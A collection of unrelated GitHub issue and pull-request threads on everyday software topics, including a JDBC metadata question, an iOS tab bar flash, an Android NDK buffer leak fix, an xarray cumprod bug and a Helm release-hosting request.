also I updated the changelog https://github.com/developmentseed/titiler/commit/d1ab1ae3174a0aeebf100039022881a0bf985517 make sure to pull the latest master and update a line about this pr 🙏


DatabaseMetadata.getColumns returns 0 or 1 for "IS_NULLABLE", should be "YES" or "NO" instead

According to the official Javadocs, the IS_NULLABLE column of the resultset returned by DatabaseMetadata.getColumns should contain either "YES" or "NO":
https://docs.oracle.com/javase/8/docs/api/java/sql/DatabaseMetaData.html#getColumns-java.lang.String-java.lang.String-java.lang.String-java.lang.String-
However, the current code is returning "0" or "1" instead (from a decompiled version). Looking at the code, it seems there are references to the wrong constants from DatabaseMetadata instead (which do indeed evaluate to 0 and 1):
https://github.com/ClickHouse/clickhouse-jdbc/blob/master/src/main/java/ru/yandex/clickhouse/ClickHouseDatabaseMetadata.java#L855

Never mind, looked at the wrong column (NULLABLE vs IS_NULLABLE)

Close as this seems not an issue.


Web request rewrite

Continues off of the old pr #54 but this time the merge conflicts have been resolved.

Closes #53
Closes #44

@byBlurr would appreciate it if you do a quick scan and see if anything is really off here. If you think its good I'll keep it in beta until all the dragon6 apps are using it and there are no errors.

going to make a change to the common data package and expedite this as a bug fix for the servers being down is going to rely on this update - it was not worth adding the fix to the other version of the API (it'll probably be fixed by then anyway)

as the builds now pass there is nothing stopping merging - this will stay in beta until we're confident there are no massive issues left


Replace the existing breadcrumbs with MUI breadcrumbs

Closing this issue since the MUI Breadcrumbs components APIs lack spring loading feature


[ios] Tab bar background flashes when scrollEdgeAppearance transparent (without lazy loading)

Before submitting a new issue

[X] I tested using the latest version of the library, as the bug might be already fixed.
[X] I tested using a supported version of react native.
[X] I checked for possible duplicate issues, with possible answers.

Bug summary
The tab bar background briefly flashes when using scrollEdgeAppearance="transparent" with lazy={false} in two scenarios:

When content on a screen reaches the tab bar edge (triggering scrollEdgeAppearance), the background flashes before assuming the barTintColor

When navigating from a screen with content below the tab bar to a screen without content below the tab bar

https://github.com/user-attachments/assets/395eb628-2faf-47a0-8cbd-69974de11098
Library version
0.6.0
Environment info
System:
  OS: macOS 15.1.1
  CPU: (10) arm64 Apple M1 Max
  Memory: 152.38 MB / 32.00 GB
  Shell:
    version: "5.9"
    path: /bin/zsh
Binaries:
  Node:
    version: 18.18.2
    path: ~/.nvm/versions/node/v18.18.2/bin/node
  Yarn:
    version: 1.22.10
    path: /usr/local/bin/yarn
  npm:
    version: 9.8.1
    path: ~/.nvm/versions/node/v18.18.2/bin/npm
  Watchman:
    version: 2<IP_ADDRESS>
    path: /opt/homebrew/bin/watchman
Managers:
  CocoaPods:
    version: 1.15.2
    path: /Users/Beau/.rbenv/shims/pod
SDKs:
  iOS SDK:
    Platforms:
      - DriverKit 24.1
      - iOS 18.1
      - macOS 15.1
      - tvOS 18.1
      - visionOS 2.1
      - watchOS 11.1
  Android SDK: Not Found
IDEs:
  Android Studio: 2022.3 AI-223.8836.35.2231.10406996
  Xcode:
    version: 16.1/16B40
    path: /usr/bin/xcodebuild
Languages:
  Java:
    version: 17.0.13
    path: /usr/bin/javac
  Ruby:
    version: 3.2.1
    path: /Users/Beau/.rbenv/shims/ruby
npmPackages:
  "@react-native-community/cli":
    installed: 15.1.2
    wanted: ^15.1.2
  react:
    installed: 18.3.1
    wanted: 18.3.1
  react-native:
    installed: 0.76.3
    wanted: 0.76.3
  react-native-macos: Not Found
npmGlobalPackages:
  "*react-native*": Not Found
Android:
  hermesEnabled: true
  newArchEnabled: true
iOS:
  hermesEnabled: true
  newArchEnabled: true

Steps to reproduce
Clone and build this minimal reproduction. The issue easiest to see when running on a device or simulator with its appearance set to dark mode.

Navigate to Screen One that has content which can extend below the tab bar

Scroll content up and down to trigger scrollEdgeAppearance - observe tab bar background flash

Navigate to Screen Two which has minimal content - observe tab bar background flash again

Reproducible sample code
https://github.com/beau-house/minimal-reproduction-react-native-bottom-tabs

Hey,
Thanks for opening the issue!

When the content on a screen reaches the tab bar edge (triggering scrollEdgeAppearance), the background flashes before assuming the barTintColor

Nothing about this is controlled, this is how it's implemented inside of iOS.

When navigating from a screen with content below the tab bar to a screen without content below the tab bar

This issue is visible in the Apple Store app too 😅
That's why the docs state that if you want to use scrollEdgeApearance you shouldn't use lazy loading
Unfortunately, both those cases are how Apple decided to make things work with this comment and there is nothing we can fix about it (Unfortunately SwiftUI is closed source)

Hey 👋🏻
Thanks for taking the time to reply. I saw the note in the docs about using transparent or opaque without lazy loading, but thought it might be avoided by setting the lazy={false} screen option.
It's too bad the flash unavoidable, and wild that it's visible in Apple's App Store app!


Milestone1 submission

We're almost ready to ship this thing - I just want to take one more look at it before we do.

First thing - we need a more effective way to host our documentation.

how are docs currently hosted? have you guys considered crates.io -- there also exist pretty good self-hosted options github not-included

how are docs currently hosted? have you guys considered crates.io -- there also exist pretty good self-hosted options github not-included

We're currently hosting from Github Pages, right out of the docs/ folder. I know, it's not the most elegant solution 😂


Added missing instructions to README.md

For those starting out with angular 2 it would be confusing configuring things so I thought I'd add some missing info in the readme. I myself couldn't get it to work at first which let me to ask this question: http://stackoverflow.com/questions/38461040/how-to-configure-ng-semantic-in-latest-angular2-release-candidate/
But I figured it out though it took awhile. So I hope this can help others save some precious time.

Thanks for this, :+1:
Excellent.


Add gem metadata

For whatever reason rubygems has incorrect links to this gem's "Source Code" and "Bug Tracker". This also seems to affect commit messages generated by Dependabot (see, e.g. https://github.com/discourse/discourse/pull/28653 - incorrect links and an empty change list)
Hopefully this change will cause rubygems to update those links.

Thanks!


ndk: Fix HardwareBuffer leak for AndroidBitmap and clarify handling in docs

Depends on #294, #295
According to AndroidBitmap_getHardwareBuffer:
outBuffer   On success, is set to a pointer to the AHardwareBuffer
            associated with bitmap. This acquires a reference on the
            buffer, and the client must call AHardwareBuffer_release
            when finished with it.

By returning the outBuffer wrapped in HardwareBuffer we represent a weak instead of strong reference, and don't _release it on Drop.  If we instead wrap it in a HardwareBufferRef we get the desired release semantics on Drop and prevent resource leaks for the user.
Note that a similar API on AImage_getHardwareBuffer does not aquire a strong reference, and should remain returning a weak HardwareBuffer.
This feat isn't very well described in the docs, so we now echo what was only stated on HardwareBufferRef across the from_ptr()/from_jni() implementations.
Finally, just like ForeignLooper and NativeWindow this acquire+release kind of type can implement Clone to allow the user to take advantage of internal refcounting instead of having to re-wrap it in Rc or Arc.

@JasperDeSutter I've recently implemented this differently for NativeWindow in #207 by always making sure the NativeWindow is acquired, hence always release it on Drop. That way it can't accidentally become invalid either, since there exist no checks here to see whether the object is still alive.
What do you think, is it advantageous to have an ever-so-slightly-faster API that doesn't call acquire, or should we remove HardwareBufferRef entirely? IMO seems advantageous to have a somewhat consistent API around this.
For the cases where we have to call acquire (clone_from_ptr() in #207) to construct a valid NativeWindow I wish I could have returned (through transmuting) a &NativeWindow instead. That immediately makes this clear through the type system, puts an implicit borrow on the source type, and obviates the acquire operation through a .clone() when the user wishes to store an owned version of it.
But I didn't manage to write such a transmute since NativeWindow is already a pointer reference inside, &NativeWindow would be a double indirection and not type compatible in any way.
What do you think?

Nice catch about the bitmap api, some of these gotchas are easy to miss in the documentation.
The current design which is based on camera/video usage where frames are transmitted frequently and usually has a need to be well-optimised. You wouldn't normally lock the buffer if you can synchronously process or memcpy it before the system callback returns. However I didn't do any profiling to see if this actually matters at all so it is premature optimization.
I agree with just removing the *Ref system if it leads to a cleaner API, let's not delve into more unsafe than is needed with the transmutes. Having the reference (&) explicitly in the type system is very clear for users, but the extra work (or risk?) doesn't seem worth it. Note that std library types like Path and PathBuf also don't always do this.

Nice catch about the bitmap api, some of these gotchas are easy to miss in the documentation.

I wouldn't be surprised if they added that doc bit later, certain functions (onWindowCreated anyone?) don't document this at all (last I looked at them).
Lets get this PR in with all its documentation improvements and a leak-fix for Bitmap, and we can make a note to revisit this API later. In hindsight I don't think we need lots of unsafe transmuting if we have a HardwareBuffer(ffi::AHardwareBuffer) (that we make unsized to prevent the user owning it), hand out & to it and perhaps a custom .clone() function that hands out a HardwareBufferRef which is basically a NonNull<HardwareBuffer> then, performing the _acquire and _release. That's easy to replicate for NativeWindow too, execpt that a '_ lifetime on native_window() isn't very descriptive :grimacing:


Keep single instance of ApplicationDataCache

Rationals:

The ApplicationDataCache is supposed to be shared.
This avoids crashes on exit if there are WebConents instances apart from Application (like it happens during presentation sessions)

@kenchris @darktears


Added my name to the GuestBook

Thank you!

Thanks for making such a very useful course!

From: Sean Kross<EMAIL_ADDRESS>Sent: Thursday, May 3, 2018 10:51 AM
To: seankross/the-unix-workbench
Cc: Bowyer,Caleb M; Author
Subject: Re: [seankross/the-unix-workbench] Added my name to the GuestBook (#272)
Thank you!
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_seankross_the-2Dunix-2Dworkbench_pull_272-23issuecomment-2D386322864&d=DwMCaQ&c=pZJPUDQ3SB9JplYbifm4nt2lEVG5pWx2KikqINpWlZM&r=ogmSD0_bqe96FIdjX4Y3kQ&m=bZI_Uug3jCpJSvcIPilqj6iDnwVHpoImI-t3yLBJo2A&s=BvEclqAYP8K9mUKETNgfZkJ-kzjrhYwGHO5g8P8tsSU&e=, or mute the threadhttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_notifications_unsubscribe-2Dauth_AbZ8HnOltBQ51UiLbO4hfJX-5FyJ7CCiHbks5tuxl6gaJpZM4TxNc3&d=DwMCaQ&c=pZJPUDQ3SB9JplYbifm4nt2lEVG5pWx2KikqINpWlZM&r=ogmSD0_bqe96FIdjX4Y3kQ&m=bZI_Uug3jCpJSvcIPilqj6iDnwVHpoImI-t3yLBJo2A&s=CxDgBDzZib1UsFcpQ65r2zN2iL_GD3XouKvC07Q3b7M&e=.

I have really enjoyed learning from you.


Initial Ukranian translations

Initial translations from Ukranian, thanks for the help. I have added very few translations to start out with as to not overwhelm users and contributors alike. Just plug in "uk": ""<translation>" to each entry in lang.json and we should be good to go! @Henonicks

oh additional notes: if the english translation says X, that means a command name will be plugged in there, so just put those where it makes sense


cumprod returns errors

The xarray implementation of cumprod returns an assertion error, presumably because of bottleneck, e.g., https://github.com/pydata/xarray/blob/master/xarray/core/ops.py#L333.  The error is
└─▪ ./test_cumprod.py
[ 0.8841785   0.54181236  0.29075258  0.28883015  0.1137352   0.09909713
  0.03570122  0.0304542   0.01578143  0.01496195  0.01442681  0.00980845]
Traceback (most recent call last):
  File "./test_cumprod.py", line 13, in <module>
    foo.cumprod()
  File "/Users/pwolfram/anaconda/lib/python2.7/site-packages/xarray/core/common.py", line 16, in wrapped_func
    skipna=skipna, allow_lazy=True, **kwargs)
  File "/Users/pwolfram/anaconda/lib/python2.7/site-packages/xarray/core/dataarray.py", line 991, in reduce
    var = self.variable.reduce(func, dim, axis, keep_attrs, **kwargs)
  File "/Users/pwolfram/anaconda/lib/python2.7/site-packages/xarray/core/variable.py", line 871, in reduce
    axis=axis, **kwargs)
  File "/Users/pwolfram/anaconda/lib/python2.7/site-packages/xarray/core/ops.py", line 346, in f
    assert using_numpy_nan_func
AssertionError

If bottleneck is uninstalled then a value error is returned:
└─▪ ./test_cumprod.py
[  2.99508768e-01   2.80142920e-01   1.56389242e-01   1.10791301e-01
   4.58372649e-02   4.10865622e-02   9.91362500e-03   6.76033435e-03
   3.83574249e-03   9.54972340e-04   1.56846616e-04   6.44088547e-05]
Traceback (most recent call last):
  File "./test_cumprod.py", line 13, in <module>
    foo.cumprod()
  File "/Users/pwolfram/anaconda/lib/python2.7/site-packages/xarray/core/common.py", line 16, in wrapped_func
    skipna=skipna, allow_lazy=True, **kwargs)
  File "/Users/pwolfram/anaconda/lib/python2.7/site-packages/xarray/core/dataarray.py", line 991, in reduce
    var = self.variable.reduce(func, dim, axis, keep_attrs, **kwargs)
  File "/Users/pwolfram/anaconda/lib/python2.7/site-packages/xarray/core/variable.py", line 880, in reduce
    return Variable(dims, data, attrs=attrs)
  File "/Users/pwolfram/anaconda/lib/python2.7/site-packages/xarray/core/variable.py", line 213, in __init__
    self._dims = self._parse_dimensions(dims)
  File "/Users/pwolfram/anaconda/lib/python2.7/site-packages/xarray/core/variable.py", line 321, in _parse_dimensions
    % (dims, self.ndim))
ValueError: dimensions () must have the same length as the number of data dimensions, ndim=1

No error occurs if the data array is converted to a numpy array prior to use of cumprod.
This can easily be reproduced by https://gist.github.com/c32f231b773ecc4b0ccf, excerpted below
import numpy as np
import pandas as pd
import xarray as xr

data = np.random.rand(4, 3)
locs = ['IA', 'IL', 'IN']
times = pd.date_range('2000-01-01', periods=4)
foo = xr.DataArray(data, coords=[times, locs], dims=['time', 'space'])
print foo.values.cumprod()
foo.cumprod()

Could you please open a pull request with your branch so we can take a look at what's going on?
The current code will need some adjustments to put cumprod/cumsum in (namely, a variant of reduce that doesn't need to drop dimensions)

Thanks @shoyer for the interest.  The PR is at https://github.com/pydata/xarray/pull/812.  I haven't had a ton of time to work on this but it is on my to do list.

I'm going to close this because it isn't a bug in any merged code. Let's discuss in the PR instead.


Add cell size constructor for world

Strangely, the author chose not to allow users to set the cellSize of worlds. This is a tool used to tweak performance depending on the size and placement of tiles/walls/etc. This should be important to include for libGDX users who often define their positions using meters instead of pixel units. However, I haven't created a world large enough to see a difference. A stress-test needs to be conducted in the future.

This seems important! Merge ahoy!


Add sshkey provider

This adds an Augeas-based provider for the sshkey type. A few notes:

I found a bug in the Known_Hosts Augeas module while coding this. The lens is patched in Augeas itself but not released, so I'm adding it here (required for alias support…)
The main goal of doing this work was to support hashed hostnames in ssh_known_hosts. For compatibility reasons, I chose to add a parameter to the type (hash_hostnames). Eventually, I plan on sending a patch against the type, with an added feature. For now, I'm just monkey patching the type.
When values are hashed, there is no way to remove aliases that are not known anymore (or to purge using the resources type) since we cannot decrypt values without knowing them (that is, without a catalog).

TODO:

Add ensure => hashed that will destroy & recreate the resource if it is not hashed

Changes Unknown when pulling 11f727fd55db9c9934f50a43070d1ee0400520b8 on raphink:dev/sshkey into ** on hercules-team:master**.

Changes Unknown when pulling f3734fd5b5dd0748adfc5767a63681a3b8e67676 on raphink:dev/sshkey into ** on hercules-team:master**.

Coverage increased (+0.44%) to 98.21% when pulling dbd5eddc0dddb99840920ad9e672f65cedba6c31 on raphink:dev/sshkey into a253d72116056b3b50d9f724766a34b5cf32760d on hercules-team:master.

Coverage increased (+0.44%) to 98.21% when pulling dbd5eddc0dddb99840920ad9e672f65cedba6c31 on raphink:dev/sshkey into a253d72116056b3b50d9f724766a34b5cf32760d on hercules-team:master.

Coverage increased (+0.44%) to 98.21% when pulling 11601b0ee4523f7d15536f0586a9d6ed30f84356 on raphink:dev/sshkey into a253d72116056b3b50d9f724766a34b5cf32760d on hercules-team:master.


avoids req. ROCM_PATH env var

avoids use of env var. ROCM_PATH for other purpose

The change works for rocRAND windows build.  Same question as @cgmb

Not sure what the "meta" failure is but must be unrelated.   Setting an environment variable is visible by scripts and processes so fools some compiler detection steps into thinking it is a linux-like rocm install at that location and so looks for libs there.   This variable was only be used only as a crutch for find_package(ROCM) which is local to cmake, i.e. setting a local cmake variable ROCM_PATH with that path is safe if only used in the PATHS argument to cmake find_package(ROCM) (which contrary to what the name suggests isn't a true "rocm" just rocm-cmake) so the fact that nothing but rocm-cmake was there was fine as hip has its own path too.  We should remove this crutch with either a better name, or unifying the rocm-cmake into a "rocm" like folder but again can be handled with PREFIX path and/or give rocm-cmake a better name and typical cmake variable name for such.  That is what Cory will draft a proposal for.

I'm fine with this as a stopgap measure until a full proper fix is proposed.
Interestingly enough I tried removing add_compile_options(-xhip) Cmake and it builds successfully.  Seems like the compiler has been updated such that we no longer need to explicitly have this option, which might solve our problem another way.

I'm fine with this as a stopgap measure until a full proper fix is proposed. Interestingly enough I tried removing add_compile_options(-xhip) from cmakelists.txt and it builds successfully. Seems like the compiler has been updated such that we no longer need to explicitly have this option, which might solve our problem another way.

You may as well make the PR and remove things that aren't required, best to keep windows as close as possible to linux.


Code improvement

better JavaScript global abatement technique solution

@andreasonny83 I'm not necessarily opposed to this (we may need to check this doesn't affect some of the supported use scenarios), but mind giving me a quick "why" for this change?


publish binaries to github releases

Hello maintainers! Thanks for all you do. I'd like to re-open the issue around publishing the binaries to github releases. The primary reason given at the time was lack of metrics, since 2019, GitHub has added download counts for all release assets by filename.
This was originally brought up via #6411
It would be nice to also have the binaries hosted on GitHub Releases for a number of reasons to include a programmatic way to access the releases and release files, site restrictions for companies and the other reasons outlined in #6411 originally.
Thank you.

It would be great to give more detail as to why github releases would provide significant benefit over get.helm.sh please? Both (to my understanding) provide "programatic" access to release files.
The reason around restrictions I read in #6411:  is that many places mirror from get.helm.sh into an internal mirror. Which means metrics won't reflect downloads from that internal mirror. Such "caching" is fine/preferred. Metrics are to indicate what versions of Helm are being downloaded from Helm mirrors.
Another consideration is that the amount of data distributed, and rate limiting of github access. Last I heard, get.helm.sh was serving around 150TB monthly. It isn't a small consideration to shift this to github instead. Unsure what github rate limits  would be encountered either, as e.g. we have previously noticed: https://github.com/helm/helm/issues/12351
Overall, switching to github for release assets, should we determine to be a good idea, would need to be contributed too.


API changes + fixing typos

Many funcs return errors, these are not reflected in the README.
The random number generator is imported from math, not math/rand
Missing end brackets when adding new elements.
Union is a mutating action, it does not return a new HLL.

Awesome! Thanks so much for the clarifications to the readme.


build,stage1/init: set interpBin at build time

Remove architecture-specific stage1/init files containing the
interpBin constant since this breaks other architectures (e.g. x86)
because of the missing constant.
Instead, declare the variable in init.go, and set the appropriate
value at build time.
Signed-off-by: Thomas Hipp<EMAIL_ADDRESS>

ok to test

LFAD if green.